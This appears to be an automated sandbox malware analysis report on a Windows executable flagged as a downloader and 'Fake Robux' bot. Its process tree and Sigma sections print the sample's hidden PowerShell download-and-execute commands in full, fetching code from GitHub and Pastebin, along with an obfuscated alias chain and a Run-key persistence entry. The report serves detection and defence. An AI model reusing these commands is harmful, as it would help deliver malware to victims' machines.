Edit tour

Windows Analysis Report
xK44OOt7vD.exe

Overview

General Information

Sample name:	xK44OOt7vD.exe renamed because original name is a hash value
Original sample name:	1e4a2d67df3b0a1f2d1f5d3af6587f9f222adf40c0a9d4976fc78a21d9efa5b5.exe
Analysis ID:	1534110
MD5:	5e40e28eed9c4ede7b34b64b6c58571c
SHA1:	61aef6b48e463a70a8bb414c43b497e0b4759f04
SHA256:	1e4a2d67df3b0a1f2d1f5d3af6587f9f222adf40c0a9d4976fc78a21d9efa5b5
Tags:	exeNeth3Nuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Contains functionality to inject threads in other processes

Powershell creates an autostart link

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to open files direct via NTFS file id

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

xK44OOt7vD.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\xK44OOt7vD.exe" MD5: 5E40E28EED9C4EDE7B34B64B6C58571C)

powershell.exe (PID: 7428 cmdline: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 7632 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7652 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8530.tmp" "c:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

Stand_Trainer_Updated.exe (PID: 7688 cmdline: "C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe" MD5: BECD67D75C5E7C2411E9F481086CA1E0)

attrib.exe (PID: 8020 cmdline: "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

svchost.exe (PID: 7728 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

forfiles.exe (PID: 8060 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8140 cmdline: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3136 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

forfiles.exe (PID: 5660 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 4088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7232 cmdline: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7296 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3136	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x26f3:$b1: ::WriteAllBytes( 0x2d041:$b1: ::WriteAllBytes( 0x45133:$s1: -join 0x45893:$s1: -join 0x13214b:$s1: -join 0x14b825:$s1: -join 0x57c24:$s3: reverse 0x57f12:$s3: reverse 0x5862c:$s3: reverse 0x58de5:$s3: reverse 0x5fffd:$s3: reverse 0x60417:$s3: reverse 0x60f9f:$s3: reverse 0x61c4c:$s3: reverse 0xa2038:$s3: reverse 0xad95e:$s3: reverse 0xeff15:$s3: reverse 0xf9d24:$s3: reverse 0x10708d:$s3: reverse 0x10dcc1:$s3: reverse 0x10fd79:$s3: reverse
Process Memory Space: powershell.exe PID: 7296	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xddfcc:$b1: ::WriteAllBytes( 0x12fec8:$s1: -join 0x13066f:$s1: -join 0x1532e8:$s1: -join 0x163acc:$s1: -join 0xcab7:$s3: reverse 0x18413:$s3: reverse 0x44a78:$s3: reverse 0x44d66:$s3: reverse 0x45480:$s3: reverse 0x45c39:$s3: reverse 0x4ce3b:$s3: reverse 0x4d255:$s3: reverse 0x4dddd:$s3: reverse 0x4ea8a:$s3: reverse 0x77e58:$s3: reverse 0x7adc5:$s3: reverse 0x82c67:$s3: reverse 0x8b948:$s3: reverse 0xc5af1:$s3: reverse 0xce0fd:$s3: reverse

Other

Source	Rule	Description	Author	Strings
amsi64_3136.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9a92:$b1: ::WriteAllBytes( 0x8197:$s1: -join 0x1943:$s4: += 0x1a05:$s4: += 0x5c2c:$s4: += 0x7d49:$s4: += 0x8033:$s4: += 0x8179:$s4: += 0xc1bc:$s4: += 0xc23c:$s4: += 0xc302:$s4: += 0xc382:$s4: += 0xc558:$s4: += 0xc5dc:$s4: += 0x9b2c:$e4: Get-WmiObject 0x9bce:$e4: Get-WmiObject 0xa6a5:$e4: Get-WmiObject 0xa894:$e4: Get-Process 0xa8ec:$e4: Start-Process
amsi64_7296.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9a92:$b1: ::WriteAllBytes( 0x8197:$s1: -join 0x1943:$s4: += 0x1a05:$s4: += 0x5c2c:$s4: += 0x7d49:$s4: += 0x8033:$s4: += 0x8179:$s4: += 0xc1bc:$s4: += 0xc23c:$s4: += 0xc302:$s4: += 0xc382:$s4: += 0xc558:$s4: += 0xc5dc:$s4: += 0x9b2c:$e4: Get-WmiObject 0x9bce:$e4: Get-WmiObject 0xa6a5:$e4: Get-WmiObject 0xa894:$e4: Get-Process 0xa8ec:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", CommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\xK44OOt7vD.exe", ParentImage: C:\Users\user\Desktop\xK44OOt7vD.exe, ParentProcessId: 7324, ParentProcessName: xK44OOt7vD.exe, ProcessCommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)', CommandLine: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)', CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'", ParentImage: C:\Windows\System32\forfiles.exe, ParentProcessId: 8060, ParentProcessName: forfiles.exe, ProcessCommandLine: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)', ProcessId: 8140, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7428, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive File Sync

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7428, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline", ProcessId: 7632, ProcessName: csc.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", CommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\xK44OOt7vD.exe", ParentImage: C:\Users\user\Desktop\xK44OOt7vD.exe, ParentProcessId: 7324, ParentProcessName: xK44OOt7vD.exe, ProcessCommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7428, TargetFilename: C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", CommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\xK44OOt7vD.exe", ParentImage: C:\Users\user\Desktop\xK44OOt7vD.exe, ParentProcessId: 7324, ParentProcessName: xK44OOt7vD.exe, ProcessCommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", ProcessId: 7428, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7728, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -windowstyle hidden -command "iex(iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt -usebasicparsing)", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7428, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline", ProcessId: 7632, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T16:00:07.194122+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49769	185.199.110.133	443	TCP
2024-10-15T16:00:08.400543+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49774	185.199.110.133	443	TCP

ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T16:00:40.331436+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49952	162.159.138.232	443	TCP
2024-10-15T16:00:47.351688+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49990	162.159.138.232	443	TCP

ETPRO MALWARE Win32/Fake Robux Bot Registration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T16:00:23.523479+0200	2857658	1	A Network Trojan was detected	192.168.2.5	49860	162.159.138.232	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: xK44OOt7vD.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49990 version: TLS 1.2

Source: xK44OOt7vD.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb' source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 0000000D.00000002.2703961662.00000205B6810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb4e089 source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb~ source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb34e089x_e source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbQv source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Management.Automation.pdb" source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll"( source: powershell.exe, 00000012.00000002.2763903950.00000127619CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbmey source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbD source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbll source: powershell.exe, 0000000D.00000002.2703961662.00000205B6810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb^v source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.2703961662.00000205B6770000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2764383354.0000012761A14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Programming1\Cpscommand\x64\Release\Cpscommand.pdb source: xK44OOt7vD.exe
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbGv source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbows\ source: powershell.exe, 00000012.00000002.2793307610.0000012779CF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb; source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000D.00000002.2705160657.00000205B6AF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2794282634.0000012779D15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb) source: powershell.exe, 00000012.00000002.2794383361.0000012779D23000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Code function: 0_2_00007FF7EA028C54 FindFirstFileExW,

0_2_00007FF7EA028C54

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857658 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Registration : 192.168.2.5:49860 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49990 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49952 -> 162.159.138.232:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: Joe Sandbox View	IP Address: 162.159.138.232 162.159.138.232
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49769 -> 185.199.110.133:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49774 -> 185.199.110.133:443

Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/FH5.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.com
